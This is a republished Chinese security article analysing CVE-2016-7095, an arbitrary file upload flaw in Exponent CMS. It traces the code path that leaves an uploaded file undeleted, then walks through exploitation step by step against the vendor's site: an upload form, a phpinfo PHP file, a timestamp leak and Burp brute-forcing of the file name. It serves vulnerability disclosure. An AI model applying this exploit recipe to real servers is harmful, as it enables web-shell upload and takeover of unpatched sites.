Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

$
0
0
【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

2016-09-06 17:25:34
来源:安全客 作者:安全客

阅读:443次
点赞(0)
收藏





【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

作者:Balisong

稿费:500RMB

Exponent cms是一款国外的cms,功能比较强大。但是在2.3.8版本及以下,存在着一个全版本通杀的任意文件上传漏洞。攻击者可以通过该漏洞直接getshell.

官方最新版2.3.9已经修复(http://www.exponentcms.org)


漏洞分析:

我们首先看一下漏洞触发点在:

/framework/modules/ecommerce/controllers/eventregistrationController.php中第1161行:

if(!empty($_FILES['attach']['size'])){ $dir='tmp'; $filename=expFile::fixName(time().'_'.$_FILES['attach']['name']); $dest=$dir.'/'.$filename; //Checktoseeifthedirectoryexists.Ifnot,createthedirectorystructure. if(!file_exists(BASE.$dir))expFile::makeDirectory($dir); //Movethetemporaryuploadedfileintothedestinationdirectory,andchangethename. $file=expFile::moveUploadedFile($_FILES['attach']['tmp_name'],BASE.$dest); //$finfo=finfo_open(FILEINFO_MIME_TYPE); //$relpath=str_replace(PATH_RELATIVE,'',BASE); //$ftype=finfo_file($finfo,BASE.$dest); //finfo_close($finfo); if(!empty($file))$mail->attach_file_on_disk(BASE.$file,expFile::getMimeType(BASE.$file)); } $from=array(ecomconfig::getConfig('from_address')=>ecomconfig::getConfig('from_name')); if(empty($from[0]))$from=SMTP_FROMADDRESS; $mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] )); if(!empty($file))unlink(BASE.$file);//deletetempfileattachment flash('message',gt("You'reemailtoeventregistrantshasbeensent.")); expHistory::back(); }

然后我们可以看到这里有一个文件上传的操作,我们跟踪一下moveUploadedFile函数,在/framework/modules/file/models/expFile.php中第1508行:

publicstaticfunctionmoveUploadedFile($tmp_name,$dest){ move_uploaded_file($tmp_name,$dest); if(file_exists($dest)){ $__oldumask=umask(0); chmod($dest,octdec(FILE_DEFAULT_MODE_STR+0)); umask($__oldumask); returnstr_replace(BASE,'',$dest); }elsereturnnull; }

这里没有对后缀名进行一个检测,可以上传任意文件。文件命名的方式是time()+下划线+文件名。

然后我们看到紧跟着就有一个文件删除的操作:

if (!empty($file))unlink(BASE . $file);

看起来是没有问题的,传上去之后立马删除掉了,因为文件存在的时间超级短,并且文件命名的方式里面带有时间戳,导致我们无法利用这个文件。

但是这里有个细节,就是在上传文件到删除文件的过程中,调用了一个函数操作:

也就是

$mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] ));

我们开始跟踪一下该函数:

在/framework/core/subsystems/expMail.php中第378行:

publicfunctionquickBatchSend($params=array()){ if(empty($params['html_message'])&&empty($params['text_message'])){ returnfalse; } //setupthetoaddress(es) if(is_array($params['to'])){ $params['to']=array_filter($params['to']); }else{ $params['to']=array(trim($params['to'])); } if(empty($params['to'])){ $params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours } $this->addTo($params['to']);//weonlydothistosaveaddressesinourobject //setupthefromaddress(es) if(is_array($params['from'])){ $params['from']=array_filter($params['from']); }else{ $params['from']=trim($params['from']); }

在这里又调用了一个函数addto(),我们继续跟踪该函数,在该文件的 644行:

publicfunctionaddTo($email=null){ //attempttofixabadtoaddress if(is_array($email)){ foreach($emailas$address=>$name){ if(is_integer($address)){ if(strstr($name,'.')===false){ $email[$address].=$name.'.net'; } } } }else{ if(strstr($email,'.')===false){ $email.='.net'; } } $this->to=$email; if(!empty($email)){ $this->message->setTo($email);//fixmethisresetsthe'to'addresses,unlessusing$this->message->addTo($email); //$this->message->addTo($email);//ifyouneedtoresetthe'to'addresses,use$this->flushRecipients(); } }

这里又调用了一个setTo()函数,我们继续跟踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleMessage.php中第316行:

publicfunctionsetTo($addresses,$name=null) { if(!is_array($addresses)&&isset($name)){ $addresses=array($addresses=>$name); } if(!$this->_setHeaderFieldModel('To',(array)$addresses)){ $this->getHeaders()->addMailboxHeader('To',(array)$addresses); } return$this; }

这里调用了一个addMailboxHeader函数,我们继续追踪该函数,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderSet.php中第65行:

publicfunctionaddMailboxHeader($name,$addresses=null) { $this->_storeHeader($name, $this->_factory->createMailboxHeader($name,$addresses)); }

这里又调用了一个createMailboxHeader函数,我们继续跟踪,在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderFactory.php中第54行:


publicfunctioncreateMailboxHeader($name,$addresses=null) { $header=newSwift_Mime_Headers_MailboxHeader($name,$this->_encoder,$this->_grammar); if(isset($addresses)){ $header->setFieldBodyModel($addresses); } $this->_setHeaderCharset($header); return$header; }

这里又调用到了一个setFieldBodyModel函数,我们继续跟踪, /external/swiftmailer-5.4.2/lib/classes/Swift/Mime/Headers/MailboxHeader.php中第61行:

publicfunctionsetFieldBodyModel($model) { $this->setNameAddresses($model); }

这里调用了一个setNameAddresses函数,我们继续跟踪该函数,在该文件104行:

publicfunctionsetNameAddresses($mailboxes) { $this->_mailboxes=$this->normalizeMailboxes((array)$mailboxes); $this->setCachedValue(null);//Clearanycachedvalue }

这里又调用了normalizeMailboxes函数,我们继续跟踪该函数,在该文件的250行:

这里调用了一个_assertValidAddress函数,我们继续跟踪该函数,在该文件的第344行:

privatefunction_assertValidAddress($address) { echo$this->getGrammar()->getDefinition('addr-spec'); if(!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', $address)){ thrownewSwift_RfcComplianceException( 'Addressinmailboxgiven['.$address. ']doesnotcomplywithRFC2822,3.6.2.' ); } }

可以看到这里对于我们传入的$address做了一个正则匹配,如果正则不匹配的话,就会throw出错误信息,导致运行的程序运行的中止。那么结合我们上面所说的,这个步骤是在上传文件完成之后,删除文件之前执行的,如果这个步骤出了错,那么就不会对上传文件进行删除。那么我们上传的文件就存活了下来。

那么怎样让这个正则匹配失效呢?

可以看到这个正则匹配是验证你是否是有效的邮箱地址,如果不是有效的邮箱地址就会报错,那么我们传入一个错误的邮箱地址的话,就会报错了。但是这里我们不这么“简单”的做,我们搞一点有意思的事情。

我们首先看一下我们参数传入的地方:

在/framework/modules/ecommerce/controllers/eventregistrationController.php中第1149行:

$email_addy=array_flip(array_flip($this->params['email_addresses'])); $email_addy=array_map('trim',$email_addy); $email_addy=array_filter($email_addy); 这里的$email_addy是我们可控的。用户正常的输入的话,这个地方$this->params['email_addresses']应该是一个数组,然后后面的一切都能正规的运行下去,不会出错,但是!!!如果这个地方我们不传入数组会怎么样?正如大家知道的,array_flip()是对数组进行操作的,但是如果我们给它传入一个字符串的话,那么结果会返回一个null,意思就是说现在$email_addy=NULL。然后我们看到将$email_addy带入到了quickBatchSend函数中去: $mail->quickBatchSend(array( 'headers'=>$headers, 'html_message'=>$this->params['email_message'], 'text_message'=>strip_tags(str_replace("<br>","",$this->params['email_message'])), 'to'=>$email_addy, 'from'=>$from, 'subject'=>$this->params['email_subject'] ));

在quickBatchSend中又对$email_addy做了处理:

if(is_array($params['to'])){ $params['to']=array_filter($params['to']); }else{ $params['to']=array(trim($params['to'])); } if(empty($params['to'])){ $params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours } $this->addTo($params['to']);//weonlydothistosaveaddressesinourobject 首先会判断是否是数组,如果不是的话,就变成一个数组。我们知道开始$Params[‘to’]为NULL,经过强行转换之后现在的$param[‘to’]就是array(0=>””),接下来的判断很有意思,: if(empty($params['to']))

你觉得是true还是false呢?很多人认为会是ture,但是实际上是false。因为这个数组不是空数组,它有一个元素啊!!,虽然只是一个空字符串,但是它还是有元素啊,所以数组不为空,这个条件不成立。也就不会有赋值默认邮箱的操作:

$params['to']=array(trim(SMTP_FROMADDRESS));//defaultaddressisours 然后将$params[‘to’]传递给了addTo函数,我们看一下addTo函数是怎样处理$params[‘to’]的: publicfunctionaddTo($email=null){ //attempttofixabadtoaddress if(is_array($email)){ foreach($emailas$address=>$name){ if(is_integer($address)){ if(strstr($name,'.')===false){ $email[$address].=$name.'.net'; } } } }else{ if(strstr($email,'.')===false){ $email.='.net'; } } $this->to=$email; if(!empty($email)){ $this->message->setTo($email); 里经过处理后,$email的值为array(1) { [0]=> string(4) ".net" }。然后传递给了setTo做操作: publicfunctionsetTo($addresses,$name=null) { if(!is_array($addresses)&&isset($name)){ $addresses=array($addresses=>$name); } if(!$this->_setHeaderFieldModel('To',(array)$addresses)){ $this->getHeaders()->addMailboxHeader('To',(array)$addresses); } return$this; }

将参数传递给了addMailboxHeader,我们看一下该函数的操作:

publicfunctionaddMailboxHeader($name,$addresses=null) { $this->_storeHeader($name, $this->_factory->createMailboxHeader($name,$addresses)); }

又将$address给了createMailboxHeader函数,我们继续看操作:

publicfunctioncreateMailboxHeader($name,$addresses=null) { $header=newSwift_Mime_Headers_MailboxHeader($name,$this->_encoder,$this->_grammar); if(isset($addresses)){ $header->setFieldBodyModel($addresses); } $this->_setHeaderCharset($header); return$header; }

又给了setFieldbodyModel函数,我们继续看:

publicfunctionsetFieldBodyModel($model) { $this->setNameAddresses($model); }

又给了setNameAddresses函数,我们继续追踪该函数:

publicfunctionsetNameAddresses($mailboxes) { $this->_mailboxes=$this->normalizeMailboxes((array)$mailboxes); $this->setCachedValue(null);//Clearanycachedvalue }

又给了normalizeMailboxes函数:

protectedfunctionnormalizeMailboxes(array$mailboxes) { $actualMailboxes=array(); foreach($mailboxesas$key=>$value){ if(is_string($key)){ //keyisemailaddr $address=$key; $name=$value; }else{ $address=$value; $name=null; } $this->_assertValidAddress($address); $actualMailboxes[$address]=$name; } return$actualMailboxes; }

经过这个函数处理之后,$address变成了字符串’.net’。然后将这个字符串给了_assertValidAddress做一个正则匹配是不是有效邮箱:

privatefunction_assertValidAddress($address) { if(!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', $address)){ thrownewSwift_RfcComplianceException( 'Addressinmailboxgiven['.$address. ']doesnotcomplywithRFC2822,3.6.2.' ); } }

很显然,’.net’并不能与之相匹配,所以就抛出了一个错误。

导致程序的终止运行,也导致了程序的文件删除操作无法执行。

但是我们开始说了文件名的命名规则是time()+’_’+文件名。

那么我们如何知道time()呢?

在/framework/modules/ecommerce/controllers/eventregistrationController.php中第129行:

functioneventsCalendar(){ global$user; expHistory::set('viewable',$this->params); $time=isset($this->params['time'])?$this->params['time']:time(); assign_to_template(array( 'time'=>$time ));

这里直接将time()打印到了网站源码里,我们可以从这个地方得到一个大概的time值,然后便可以进行一个爆破文件名的操作,这样我们就能够getshell。

漏洞利用:

以程序官网为例

构造一个上传表单:

<html> <body> <form action="http://www.exponentcms.org/index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1"method="post" enctype="multipart/form-data"> <labelfor="file">Filename:</label> <inputtype="file"name="attach"id="file"/> <br/> <inputtype="submit"name="submit"value="Submit"/> </form> </body> </html>

然后选择我们的php文件,文件名为index.php:

<?phpphpinfo();?>

然后点击上传之后,可以看到报错了:


【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

这个时候我们紧接着快速的访问

www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar

然后右键查看网页源代码找到rel:


【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

记下这个数字,这就是大概的时间戳,我们爆破文件名需要用到的。

然后我们开始爆破文件名:

/tmp/时间戳_index.php

因为我们得到的时间戳比上传的时间戳要晚一些时间(所以说越快访问越好),但是爆破的位数基本可以控制在3位数以内。

然后我们就可以用burpsuite进行一个爆破文件名的操作:


【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)

Status为200表示我们成功爆破到了文件名,我们访问一下,可以看到php文件确实成功上传:


【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3001.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles